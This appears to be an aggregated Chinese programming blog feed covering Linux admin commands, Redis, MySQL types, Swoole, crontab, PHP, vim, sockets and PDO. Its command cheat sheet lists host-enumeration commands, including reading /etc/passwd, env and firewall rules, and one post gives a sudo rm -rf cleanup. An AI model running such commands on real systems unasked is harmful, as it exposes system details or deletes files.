同事提议不如这个脚本让他去用Node.js 写吧,尽管很不情愿,但也没办法。
想在仔细回想,当时那种感觉还是很清晰,我真的不喜欢那种能被替代的感觉,那一瞬间觉得所有的娱乐活动都没有意思了,只有把技术才是唯一的热爱。
晚上回家之后,第一件事应该是练吉他,但昨天似乎也没啥心思练了。
今年本来就没少为知识付费,视频课程,电子书籍,纸质书籍各种学习资料。
然后昨天晚上又在慕课网上买了三门实战课程,真的不想做一个Cruder,这是我最后的倔强了。
在如今这个互联网高速发展的时代,我想学习以及需要学习的东西真的是太多了,真的是学的越多,才发现自己懂的真的好少。
最后想说的是,希望自己能保持住这份初心,继续加油。
]]>1 | $ uname -a |
1 | $ head -n 1 /etc/issue |
1 | $ dmidecode | grep "Product Name" |
1 | $ hostname |
1 | $ lspci -tv |
1 | $ lsusb -tv |
1 | $ lsmod |
1 | $ env |
1 | $ free -m |
1 | $ df -h |
1 | $ grep MemTotal /proc/meminfo |
1 | $ grep MemFree /proc/meminfo |
1 | $ uptime |
1 | $ cat /proc/loadavg |
1 | $ lscpu |
1 | cat /proc/cpuinfo |
1 | $ df -h |
1 | mount | column -t |
1 | $ fdisk -l |
1 | $ swapon -s |
1 | $ ifconfig |
1 | $ iptables -L |
1 | $ route -n |
1 | $ netstat -lntp |
1 | $ netstat -antp |
1 | $ netstat -s |
1 | $ ps -ef |
1 | $ top |
1 | $ w |
1 | $ id <用户名> |
1 | $ last |
1 | $ cut -d: -f1 /etc/passwd |
1 | $ cut -d: -f1 /etc/group |
1 | $ crontab -l |
1 | $ chkconfig --list |
1 | $ chkconfig --list | grep on |
String 是Redis 最基本的数据类型,一个 Key 对应一个 Value。
String 类型是二进制安全的。意思是 Redis 的 String 可以包含任何数据。(数字:整浮型点数,二进制:图片、音频、视频、序列化的对象)
String 类型是 Redis 最基本的数据类型,一个键最大能存储 512 MB。
incr
:计数set
+ get
:将对象/Json 序列化之后存储作为CacheRedis hash 是一个键值对集合。
Redis hash 是一个 String 类型的 field 和 value 的映射表,hash 特别适合用于存储对象。
hset
+ hget
:Cache在下面的例子中,“rediscomcn” 是 Redis 哈希,它包含详细信息(name,url,rank,visitors)属性。
用来存储多个有序的字符串,一个列表最多可以存 2 的 32 次方减 1 个元素。
列表的特点是:
lpush
+ lpop
:Stacklpush
+ rpop
:Queuelpush
+ ltrim
:Capped Collectionlpush
+ brpop
:Message Queue集合特点:
sadd
:Taggingspop/srandmember
:Random itemadd
+ sinter
:Social Graphzscore
:timeStamp、saleCount、followCount数据结构 | 是否允许元素重 | 是否有序 | 有序实现方式 | 应用场景 |
---|---|---|---|---|
列表 | 是 | 是 | 索引下标 | 时间轴,消息队列 |
集合 | 否 | 否 | 无 | 标签,社交 |
有序集合 | 否 | 是 | 分值 | 排行榜,点赞数 |
查看所有key:
1 | keys * |
查看加载配置文件:
1 | config get * |
当前数据库的 key 的数量:
1 | dbsize |
判断key 是否存在:
1 | exists key |
删除key:
1 | del key |
查看key 的类型:
1 | type key |
查看内存使用情况:
1 | info memory |
先来看这样一个例子,假设目前有一张表用来存储用户的积分
1 | CREATE TABLE `table1` ( |
然后向这张表中插入一条数据:
1 | mysql> INSERT INTO `table1` (`integral`) VALUES (131072.32); |
通过查询数据表可以看到该条记录并不是131072.32
而是131072.31
,为什么会这样?这个问题间接暴露出了其他什么问题?
数值类型存储需求
|列类型|存储需求|分配内存空间|
|-|-|-|
|FLOAT(p)|如果0 <= p <= 24为4个字节, 如果25 <= p <= 53为8个字节|32,64|
|FLOAT|4个字节|32|
|DOUBLE [PRECISION], item REAL|8个字节|64|
|DECIMAL(M,D), NUMERIC(M,D)|变长||
通过查阅官方文档,可以看到
在计算机的世界中,浮点数进行存储时,必须要先转换为二进制,通俗一点讲也就是浮点数的精度实际上是由二进制的精度来决定的。
我们知道对于float类型的数据,只分配了32位的存储空间,对于double类型值分配了64位,但是并不是所有的实数都能转成32位或者64位的二进制形式,如果超过了,就会出现截断,这就是误差的来源。
比如将上面例子中的 131072.32
转成二进制后的数据为:
1 | 100000000000000000.0101000111101011100001010001111010111000010100011111… |
这是一个无穷数,对于float 类型,只能截取前32位进行存储,对于double只能截取前64位进行存储。
01001000000000000000000000010100
0100000100000000000000000000001010001111010111000010100011110101
所以我们暂时可以得出一个结论:
Float 和 Decimal 这类数据类型都可以通过两位参数来控制其精度。
其存储格式是:
1 | FLOAT/DECIMAIL [(M,D)] [UNSIGNED] [ZEROFILL] |
存储空间大小决定存储精度,和D值无关,Float 的存储空间只有32 位,当需要存储的二进制大于32 位时,就会截断(四舍五入)。
1 | mysql> create table table2 (integral float(15,2)); |
浮点型数据最终都要被转成二进制进行存储。并且对于float 而言,存储类型只能是32位0和1的组合。
1 | mysql> select * from table1; |
DECIMAL(M,D)
中,D 值的是小数部分的位数。可以看到,当修改了D 的值,这个时候可以看到MySQL 真正存储的数值也发生了变化。
总结:
于是使用DaisyDisk 扫描了一下磁盘空间,发现其中多达 186 G 全是临时文件。
起初以为是系统产生的临时文件。因为并不知道这些文件是如何产生的,所以也不太敢直接删除,只尝试过重启电脑但并没有用。
后来通过Apple 社区提问才了解到,原来cachegrind.out
这类文件全是 Xdebug 的输出文件!所以是可以直接删除掉的~
此前从未清理过这类文件,所以才会导致临时文件如此之大…
可以打开终端,使用如下命令进行清理:
1 | sudo rm -rf /private/var/tmp/cachegrind.out.* |
因为本地应用的Xdebug 一直都是开启着的,所以请求该应用时,Xdebug 就会将调试信息输出至临时文件了,如图:
]]>Master 进程是一个多线程进程。
负责创建 / 回收 worker/task 进程
有一个更加通俗的比喻来描述这三者的关系:
假设 Server
就是一个工厂,那 Reactor
就是销售,接受客户订单。而 Worker
就是工人,当销售接到订单后,Worker
去工作生产出客户要的东西,而 TaskWorker
可以理解为行政人员,可以帮助 Worker
干些杂事,让 Worker
专心工作。
IPv4 使用 127.0.0.1 表示监听本机,0.0.0.0 表示监听所有地址
IPv6 使用::1 表示监听本机,:: (相当于 0:0:0:0) 表示监听所有地址
TCP (Transmission Control Protocol 传输控制协议)协议是一种面向连接的,可靠的,基于字节流的传输通信协议。
UDP (User Datagram Protocol 用户数据报协议)是一种无连接的传输层协议,提供面向事务的简单不可靠信息传送服务。
UDP 服务器与 TCP 服务器不同,UDP 没有连接的概念。启动 Server 后,客户端无需 Connect,直接可以向 Server 监听的 9502 端口发送数据包。
首先来解释以下所谓的“粘包”问题其本质是什么。
服务端建立服务,客户端向服务端发起连接,正常情况下,服务端的每次 send,客户端都能正常 recv。但在并发的情况下,服务端的两次send 或者更多次 sned,客户端可能一次就 recv了。
所以这就导致“粘包”问题的产生。
TCP 协议的本质是流协议,它只会保证保证发送方以什么顺序发送字节,接收方就一定能按这个顺序接收到。所以所谓的“粘包”问题不应该是传输层的问题,而是应用层的问题。
netstat -an | grep
端口,查看端口是否已经被打开处于 Listening 状态127.0.0.1
回环地址,则客户端只能使用 127.0.0.1
才能连接上,所以如果希望其他机器也能访问本机,那就使用0.0.0.0
。该脚本的作用用一句话就可以概述:将本地数据源推送给另外一台服务器。
原始的处理方式,不合理的地方有以下几点:
重构需要解决的问题有如下:
最终使用Swoole 的Tcp + Process 实现了以上需求,核心代码如下:
1 | <?php |
其实实现的原理很简单,利用Swoole 的基于事件的 Tcp 异步编程,当有客户端连接时,就创建一个子进程进行推送数据,但客户端连接断开时,就通过信号结束该客户端对应的子进程。
]]>1 | <?php |
1 | <?php |
子进程默认的标准输出是输出到屏幕上,可以通过对子进程设置,把输出重定向至管道。
然后再由主进程把管道中的内容读取出来。
1 | <?php |
这样做的好处是,可以通过主进程集中处理子进程的输出(比如可以写入日志),避免输出直接到屏幕中了。
第一个参数的作用是:是否将输出重定向至主进程。
true:将输出重定向至主进程管道。
false:直接将输出重定向至屏幕。
第二个参数的作用是:是否创建管道。
0:不创建
第三个参数的作用是:是否启用协程。
如果主进程只是执行一次就退出,而子进程还一直在,那么主进程也不会直接退出。
如果有多个子进程,其中某一个子进程退出了,而另一个并没有退出,这时主进程也会选择退出,而剩余的那个子进程则成了僵尸进程。
因为它的父进程的ID 为零。
如果不做信号处理,否则子进程一旦退出,都会引起父进程退出。如果这时还有其他子进程没有退出,这会造成其他子进程变成僵尸进程。
分别是Master、Manager、Worker 进程,以及该子进程的父进程。
可以单独设置http 进程:
1 | $http->set([ |
这样的话,进程就变成了两类:
最上面那个是父进程,下面三个分别是Master、Manger、Worker 进程。
1 | <?php |
通过Swoole 设置定时任务,到点之后自动执行定时任务。
核心逻辑:创建一个Manager 进程,通过一个while 循环,定时获取获取当前时间判断是否需要执行定时任务。
如果需要执行定时任务,则发送一个信号,在主进程中监听该信号, 然后执行对应的业务逻辑。
从 Swoole 4.x 版本开始,不再以监听信号的方式作为回收子进程了。
]]>这个命令与传统的 Unix 命令不一样,下面会一一介绍其规则及其用法。
crontab 还是 cron?初次接触 crontab 的同学可能会被这两个词给绕晕。
其实可以这样来理解:crontab
就是 cron
服务的命令行工具,而cron
则是背后处理crontab
投递任务的服务。
crontab 命令是以固定的时间格式来使用的,
表示意义 | 分钟 | 小时 | 日期 | 月份 | 周 | 命令 |
---|---|---|---|---|---|---|
范围 | 0~59(*) | 0~23(*) | 1~31(*) | 1~12(*) | 0~7(*) | 需要执行的命令 |
另外还有一些特殊字符具有特殊含义:
*
表示任何时刻都接收。举个栗子:* 12 * * *
表示不论何月、何日的星期几的十二点都执行指定命令。每分钟执行一次:
1 | */1 * * * * 或者 * * * * * |
每五分钟执行一次:
1 | */5 * * * * |
每小时执行一次:
1 | 0 * * * * 或者 0 */1 * * * |
每天执行一次:
1 | 0 0 * * * |
每周执行一次:
1 | 0 0 * * 0 |
每月执行一次:
1 | 0 0 1 * 0 |
初次接触crontab
命令时,我也比较纳闷,这个命令倒底是如何使用的?
使用 crontab 有两种方式:
第一种方式没什么好说的,直接在终端添加 crontab 任务就行了,下面简单说一下第二种(其实两者的核心都是一样的)。
首先创建一个文件,该文件的内容以功能描述、执行时间、执行任务 这几部分组成。
其中,前两者并不是一定需要,只是为了方便自己日后或其他人能快速知道这个任务具体是做什么的,#
表示注释。
示例,创建一个名称为script_cron
的crontab 文件:
1 | # 每分钟执行一次 script.php 脚本 |
为了提交刚刚创建的crontab 文件,可以把这个新创建的文件名称作为crontab
命令的参数:
1 | $ crontab script_cron |
使用-l
参数列出crontab文件:
1 | $ crontab -l |
1 | $ crontab -e |
1 | $ crontab -r |
新创建的cron 任务,不会马上执行,至少要过两分钟才执行。
如果希望能马上执行,可以重启 crontab 。
1 | // Ubuntu: |
有时候会遇到直接在命令行中可以执行任务,但是定时任务却怎么都不执行,
这时首先需要确认 cron 服务是否正常:
1 | // Ubuntu: |
然后确认需要执行的任务是否包含路径,如果包含请使用全局路径。
最后重启 cron 服务,通常到这里就已经可以正常执行了,如果还不行,尝试引入环境变量:
1 | 0 * * * * . /etc/profile; /usr/bin/php /var/www/script.php |
需要注意的是crontab 任务的调度,只有 root 和任务所有者拥有权限。
如果想要编辑/查看/删除其他用户的任务,可以使用以下命令:
1 | $ crontab -u <username> <选项> |
常用选项:-e
:编辑任务-l
:查看任务-r
:删除任务
当定时任务在指定时间执行时,会同步输出类似日志:
1 | $ tail -f /var/log/syslog |
此时就可以肯定任务调度正常。
上面那种方式确实有效,但是并不方便,那么有没有更好的方式呢?
crontab 默认没有任务的执行记录日志,但是可以通过其他方式手动创建日志文件。
1 | 0 * * * * . /etc/profile; /usr/bin/php /var/www/script.php >> /var/log/cron.log 2>&1 |
在script.php
脚本最后面增加一次输出,这样每次执行完脚本就会将输出重定向至cron.log
日志文件了。
在学习过程中,遇到了一些新或旧的概念,在此整理一下。
长连接: 客户端和服务端建立连接后不进行断开,之后客户端再次访问这个服务器上的内容时,继续使用这一条连接通道。
短连接: 客户端和服务端建立连接,发送完数据后立马断开连接。下次要取数据,需要再次建立连接。
串行:执行多个任务时,各个任务按顺序执行,完成一个之后才能进行下一个。
并行:多个任务在同一时间点发生并执行。
并发:同一时间段需要执行多个任务
在计算机中,输入 / 输出(即 IO)是指信息处理系统(比如计算机)和外部世界(可以是人或其他信息处理系统)的通信。
输入是指系统接收的信号或数据,输出是指从系统发出的数据或信号。
涉及到IO 操作的通常有磁盘、网络、文件等。
同步和异步是一种消息通信机制。其关注点在于 被调用者返回
和 结果返回
之间的关系, 描述对象是被调用对象的行为。
同步:在发出一个同步调用后,没有得到结果返回之前,该调用就不会返回,只有等待结果返回之后才会继续执行后续操作。
异步:发出调用,直接返回。异步可以通过状态、回调、通知调用者结果,可以先执行其他操作,直到回调结果返回之后,再回来执行回调那部分的操作。
阻塞和非阻塞是一种业务流程处理方式。关注点在于调用发生时 调用者状态
和 被调用者返回结果
之间的关系。
描述的是等待结果时候调用者的状态。 此时结果可能是同步返回的,也能是异步返回。
阻塞:在结果返回之前,该线程会被挂起,后续代码只有在结果返回后才能执行。
非阻塞:在不能立刻获取结果前,该调用不会阻塞当前线程。
实际编程中,通过线程实现进程的同步非阻塞,通过协程实现线程的同步非阻塞。
同步阻塞:打电话问老板有没有某书(调用),老板说查一下,让你别挂电话(同步),你一直等待老板给你结果,什么事也不做(阻塞)。
同步非阻塞:打电话问老板有没有某书(调用),老板说查一下,让你别挂电话(同步),等电话的过程中你还一边嗑瓜子(非阻塞)。
异步阻塞:打电话问老板有没有某书(调用),老板说你先挂电话,有了结果通知你(异步),你挂了电话后(结束调用), 除了等老板电话通知结果,什么事情也不做(阻塞)。
异步非阻塞:打电话问老板有没有某书(调用),老板说你先挂电话,有了结果通知你(异步),你挂电话后(结束调用),一遍等电话,一遍嗑瓜子。(非阻塞)
在正式介绍进程和线程之前,从操作系统的角度了解一下。
众所周知,现代的操作系统(Mac OS X,UNIX,Linux,Windows等)都是支持“多任务”的操作系统。
那么什么是“多任务”呢?简单的说,多任务就是同时运行多个任务,比如一边听歌,一边写博客。
多核 CPU可以直接同时运行多个任务,
而对于单核 CPU 来说,只能让系统轮流执行每个任务,因为任务之间切换很快,在宏观上看上去就是同时执行的了。
对于操作系统来说,一个任务就是一个进程。
而有的进程同时做几件事情,也就是同时运行多个子任务,我们把进程内的这类子任务称为线程。
由于每个进程至少要干一件事情,所以,一个进程至少有一个线程。
PHP 默认是执行单任务的进程,也就是只有一个线程。如果我们要同时执行多个任务怎么办?
有两种解决方案:
线程是最小的执行单元,而进程由至少一个线程组成,知道这一点后,再来理解多线程就不难了。
多线程就是指一个进程中同时有多个线程正在执行。
对于一个程序来说,很多操作事非常耗时的,如数据库I/O操作、文件读写等。如果使用单线程,那么就只能等待该线程处理完这些操作之后,才能继续往下执行其他操作。
而如果使用多线程,就可以将耗时的那部分操作通过其他线程去执行,从而提高程序执行效率。
总结:
多线程是异步的,分别创建N 个线程并不能说明他们就是在同时运行,实际上是操作系统在各个线程之间来回切换,并且切换速度非常快,这也就造成了在宏观上给我们同时运行的错觉。
多进程就是指计算机同时执行多个进程。
下面引用一个知乎上的回答,非常通俗的解释了选择多进程还是多线程的问题。
多线程的问题是多个人同时吃一道菜的时候容器发生争抢。例如两个人同时夹一个菜,一个人刚伸出筷子,结果伸到的时候菜已经被夹走了。通俗点说也就说资源共享容器发生冲突争抢。
对于Windows 系统来说,“开桌子”的开销很大,因此Windows 鼓励大家在一个桌子上吃菜。因此 Windows 多线程的学习重点是资源争抢与同步方面的问题。
而对于Linux 系统来说,“开桌子”的开销很小,因为Linux 鼓励大家尽量每个人都开自己的桌子吃菜。但这同事也带来了新的问题:两个人坐在不同的桌子上,说话不方便。因为,Linux 多线程的学习重点是进程之间的通讯方式。
每种整数类型所需的存储空间和范围如下:
|类型|字节|最小值(有符号)|最大值(有符号)|最小值(无符号)|最大值(无符号)|
|-|-|-|-|-|-|
|TINYINT|1|-128|127|0|255|
|SMALLINT|2|-32768|32767|0|65535|
|MEDIUMINT|3|-8388608|8388607|0|16777215|
|INT|4|-2147483648|2147483647|0|4294967295|
|BIGINT|8|-9223372036854775808|(9223372036854775807|0|18446744073709551615|
在创建数据表时,通常会看见 int(11)
和int
这样的写法,这两者有什么区别,各自又代表什么意思呢?
显示宽度并不影响可以存储在该列中的最大值。int(3)
和int(11)
所能存储的最大范围是一样的。
将某个字段设置成INT(20)
并不意味着将能够存储20位数字,这个字段最终能存储的最大范围还是 INT 的范围。
创建一张临时表:
1 | CREATE TABLE tmp_table_a ( |
查看表结构:
1 | mysql> desc tmp_table_a; |
插入超过”长度”的数字:
1 | INSERT INTO tmp_table_a(id, name) VALUES(123456, "boo"); |
查看结果,发现数字并没有插入失败:
1 | mysql> select * from tmp_table_a; |
那么问题来了,既然加不加数字并没有什么区别,那为什么还多此一举呢?
这是因为“正常”情况下确实没有什么区别,只有当字段设置为UNSIGNED ZEROFILL 属性时,为INT 增加数字才会有意义。
表示如果要存储的数字少于N 个字符,则这些数字将在左侧补零。
创建一张 UNSIGNED ZEROFILL 的数据表:
1 | CREATE TABLE tmp_table_b ( |
查看表结构:
1 | mysql> desc tmp_table_b; |
插入记录:
1 | INSERT INTO tmp_table_b(id, name) VALUES(1, "boo"); |
查看记录:
1 | mysql> select * from tmp_table_b; |
目前仅支持 Linux(2.3.32 以上内核)、FreeBSD、MacOS 三种操作系统,它并不支持直接在 Windows 下安装,因为Windows 系统默认没有以下软件:
如果一定要在Windows 系统中使用,则可以使用 CygWin 或 WSL(Windows Subsystem for Linux) 。
这篇笔记并不介绍如何在Windows 系统中,安装Cygwin,如果需要,可以参考Cygwin 快速上手 。
需要注意的是,在安装Cygwin 时,记得勾选以下软件包:
下载源代码包后,将其拷贝至 Cygwin 的home 目录,解压并进入文件夹。
1 | tar -zxvf swoole-src.tgz |
编译安装:
1 | cd swoole-src && \ |
如果因为某个软件包缺失而导致编译安装失败,则可以重新安装 Cygwin(重新安装不用卸载之间的版本,直接在此安装就好了)。
编译安装到系统成功后,需要在 php.ini 中加入一行 extension=swoole.so
来启用 Swoole 扩展。
需要注意的是,通过这种方式安装的Swoole,最终存在于Cygwin 环境中,与宿主机中的PHP 版本无关。
通过php -m | grep swoole
查看是否安装成功。
想要保留N 位小数同时做四舍五入的方式还是挺多的,下面列举常用的几种。
sprintf 函数用于返回一个格式化之后的字符串。
1 | <?php |
%.2f
是目标格式,其中2 表示2 位,f
表示视为浮点数。
round 函数用于对浮点数进行四舍五入。
还可以通过传入参数,决定从第几位开始四舍五入。如果没有参数,默认从小数点后一位开始四舍五入。
1 | <?php |
1 | <?php |
1 | <?php |
什么是Markdown?
Markdown 是一种轻量级标记语言,创始人为约翰·格鲁伯。它允许人们使用易读易写的纯文本格式编写文档,然后转换成有效的XHTML文档。这种语言吸收了很多在电子邮件中已有的纯文本标记的特性。 —— 维基百科
在Markdown 中,可以直接插入 HTML,目前支持的HTML 元素有:
<kbd>
<b>
<i>
<em>
<sub>
<sup>
<br>
可以使用<kbd>
标签使文本看起来像按钮,这与常规反引号文本略有不同。
Copy code with Control + C
可以使用反引号可视化差异,并diff
根据需要突出显示红色或绿色的线。
1 | 10 PRINT “BASIC IS COOL” |
添加冗长的错误日志或冗长程序输出的问题可以解决的错误有帮助的,但如果它占用页的垂直空间,可以考虑使用<details>
和<summary>
标签。
1 | <details> |
Cloning into 'php-markdown-blog'...remote: Enumerating objects: 67, done.remote: Counting objects: 100% (67/67), done.remote: Compressing objects: 100% (55/55), done.remote: Total 67 (delta 12), reused 59 (delta 7), pack-reused 0Unpacking objects: 100% (67/67), done.
HTML 中的<div align="center">
居然可以神奇的应用在 Markdown 中,然所有内容居中。
1 | <div align="center"> |
This is some centered text.
使用<sub>
、<sup>
标签,可以使文字变小,非常适合在图像下面添加描述。
1 | <div align="center"> |
View more octocats on the Octodex
这里说的内存,指的是物理运行内存,而不是虚拟内存(Swap)。
LNMP架构中PHP是运行在FastCGI模式下,按照官方的说法,php-cgi会在每个请求结束的时候会回收脚本使用的全部内存,但是并不会释放给操作系统,而是继续持有以应对下一次PHP请求。而php-fpm是 FastCGI进程管理器,用于控制php的内存和进程等。
所以,解决的办法就是通过php-fpm 优化总的进程数和单个进程占用的内存,从而解决php-fpm 进程占用内存大和不释放内存的问题。
如果发现Web 应用出现严重卡顿,请求超时等问题,首先检查一下内存的占用情况。常用的命令有:Top、Glances、Free 等。
使用Glances 或者 Top 命令查看进程,然后按下按键 M,可以查看主机当前的内存占用情况,按照占用内存由多到少排序。
也可以使用以下命令查看当前 php-fpm 总进程数:
1 | ps -ylC php-fpm --sort:rss |
其中 rss 就是内存占用情况。
查看当前php-fpm 进程的内存占用情况及启动时间:
1 | ps -e -o 'pid,comm,args,pcpu,rsz,vsz,stime,user,uid'|grep www|sort -nrk5 |
可以看到无论哪一种方式,结果都是一样的。
查看当前php-fpm进程平均占用内存情况:
1 | ps --no-headers -o "rss,cmd" -C php-fpm | awk '{ sum+=$1 } END { printf ("%d%s\n", sum/NR/1024,"M") }' |
解决上面那个问题的核心就是 php-fpm 配置中的 max_requests
。
即当一个 PHP-CGI 进程处理的请求数累积到 max_requests 个后,自动重启该进程,这样达到了释放内存的目的了。
一般来说一个php-fpm 进程占用的内存为30M-40M,所以根据自身实际情况作判断,有以下两种情况:
max_requests
的数值改小一些。max_requests
的数值改大一些。常见的“空”有以下这些:
NUll 上面的那些都好理解,都是常见的,重点介绍一下NULL。
Null是在计算机具有保留的值,可以用于指针不去引用对象,现在很多程序都会使用指针来表示条件,但是在不同的语言中,含义是不一样的。
这里我们只介绍 PHP 中的 NULL。
在 PHP 中,表示一个变量没有赋值、或者是被赋值的值为 NULL,以及被 unset 的。
表达式 | gettype() | empty() | is_null() | isset() | boolean : if($x) |
---|---|---|---|---|---|
$x = ""; | string | TRUE | FALSE | TRUE | FALSE |
$x = null; | NULL | TRUE | TRUE | FALSE | FALSE |
var $x; | NULL | TRUE | TRUE | FALSE | FALSE |
$x is undefined | NULL | TRUE | TRUE | FALSE | FALSE |
$x = array(); | array | TRUE | FALSE | TRUE | FALSE |
$x = false; | boolean | TRUE | FALSE | TRUE | FALSE |
$x = true; | boolean | FALSE | FALSE | TRUE | TRUE |
$x = 1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 42; | integer | FALSE | FALSE | TRUE | TRUE |
$x = 0; | integer | TRUE | FALSE | TRUE | FALSE |
$x = -1; | integer | FALSE | FALSE | TRUE | TRUE |
$x = "1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "0"; | string | TRUE | FALSE | TRUE | FALSE |
$x = "-1"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "php"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "true"; | string | FALSE | FALSE | TRUE | TRUE |
$x = "false"; | string | FALSE | FALSE | TRUE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE |
FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | TRUE | FALSE | TRUE |
1 | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | TRUE | FALSE | TRUE | TRUE |
-1 | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
"1" | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | TRUE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | TRUE |
array() | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | TRUE | FALSE | FALSE |
"php" | TRUE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | TRUE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | TRUE |
TRUE | FALSE | 1 | 0 | -1 | "1" | "0" | "-1" | NULL | array() | "php" | "" | |
---|---|---|---|---|---|---|---|---|---|---|---|---|
TRUE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
1 | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
0 | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
-1 | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"1" | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE |
"0" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE | FALSE |
"-1" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE | FALSE |
NULL | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE | FALSE |
array() | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE | FALSE |
"php" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE | FALSE |
"" | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | FALSE | TRUE |
0
$
gg
shift + g
ggdG
dd
yy
p
ggyG
在vim 中直接移动到指定行数,有三种方式(均是在命令行模式下输入,n 为指定的行号):
当前行替换:
1 | s/XXX/YYY/g |
其中XXX 是需要替换的字符串,YYY是替换后的字符串。
全局替换:
1 | %s/XXX/YYY/g |
set hlsearch
set number
关于 PHP Socket 编程的文章有很多,这里就只简单记录一下如何快速上手。
按照惯例,还是先来了解一下基本概念。
我们知道两个进程如果需要进程通讯,最基本的前提就是保证彼此进程的唯一,并能确定彼此身份。在本地进程通讯中我们可以使用 PID 来标示唯一的进程,但 PID 只在本地唯一,网络中的两个进程 PID 冲突的几率很大,这时候我们就需要另辟蹊径了。
我们知道IP 层的IP 地址可以唯一标示主机,而TCP 层协议和端口号可以唯一标示主机的一个进程,这样我们就可以利用 IP 地址+ 协议 + 端口号唯一标示网络中的一个进程。
能够唯一标示网络中的进程后,它们就可以利用socket 进行通信了。
什么是socket?
我们经常把 socket 翻译成套接字,socket 是在应用层和传输层之间的一个抽象层,它把 TCP/IP 层复杂的操作抽象为几个简单的接口供应用层调用以实现进程在网络中通信。
socket 起源于 UNIX,在UNIX 一切皆为文件哲学的思想下,socket 是一种“打开=>读/写=>关闭“模式的实现,服务器和客户端各自维护一个文件,在建立连接打开之后,可以向自己的文件写入内容供对方读取或者读取对方内容,通讯结束时关闭文件。
socket 是”打开=>读/写=>关闭”模式的实现,以使用TCP协议通讯的socket为例,其交互流程大概是这样子:
PHP 默认没有启用 sockets 扩展,所以需要手动安装扩展。
1 | apt-get install php7.2-sockets |
php -m
或者 php -i
检查扩展是否已经启用。
创建并返回一个套接字,也称作一个通讯节点。一个典型的网络连接由 2 个套接字构成,一个运行在客户端,另一个运行在服务端。
1 | <?php |
socket_create
函数接收三个参数,分别是domain、type、protocol。
发送数据有两种方式:
1 | <?php |
接收数据也有两种方式:
1 | <?php |
PHP PDO
相关的知识,整理总结一下。PDO(PHP Data Object)
PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。
PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。
在 PHP 使用 MySQL 数据库前,你需要先将它们连接。
PHP 5 及以上版本有两种方式连接 MySQL :
关于是选择 Mysqli,还是 PDO?
MySQLi 和 PDO 有它们自己的优势:PDO 应用在 12 种不同数据库中, MySQLi 只针对 MySQL 数据库。
如果项目需要在多种数据库中切换,建议使用 PDO,因为只需要修改连接字符串和部分查询语句即可。
在 PHP5 系列版本中,PDO不是默认支持的,需要手工配置才可以使用。打开 php.ini 文件,开启扩展。
1 | // php.ini |
上述配置只打开了对 MySQL 的 PDO 支持,如果需要对别的数据库类型进行支持,可以分别打开对应的不同配置(去掉前面的分号):
1 | ;extension=php_pdo_oci.dll |
在使用 PDO 操作数据库之前,需要创建 PDO 连接对象。
1 | new PDO(DSN, username, password);<?php |
不同的数据库,其 DSN(Data Source Name) 构造方式是不一样的。常见数据库 DSN 语法如下:
1 | //MySQL: |
预处理语句及绑定参数
预处理语句用于执行多个相同的 SQL 语句,并且执行效率更高。
预处理语句的工作原理如下:
相比于直接执行SQL语句,预处理语句有两个主要优点:
PDO的直接查询和预处理分别是PDO 的 query类和 prepare 类。
PDO 默认开启的是错误码模式,如果发生了错误,只会简单地输出错误码,这对于调试或者测试来说,不是很友好,不利用快速定位异常所在。
所以PDO 还为我们提供了另外两种方式:
除设置错误码之外,PDO 还将发出一条传统的 E_WARNING 信息。如果只是想看看发生了什么问题且不中断应用程序的流程,那么此设置在调试/测试期间非常有用。
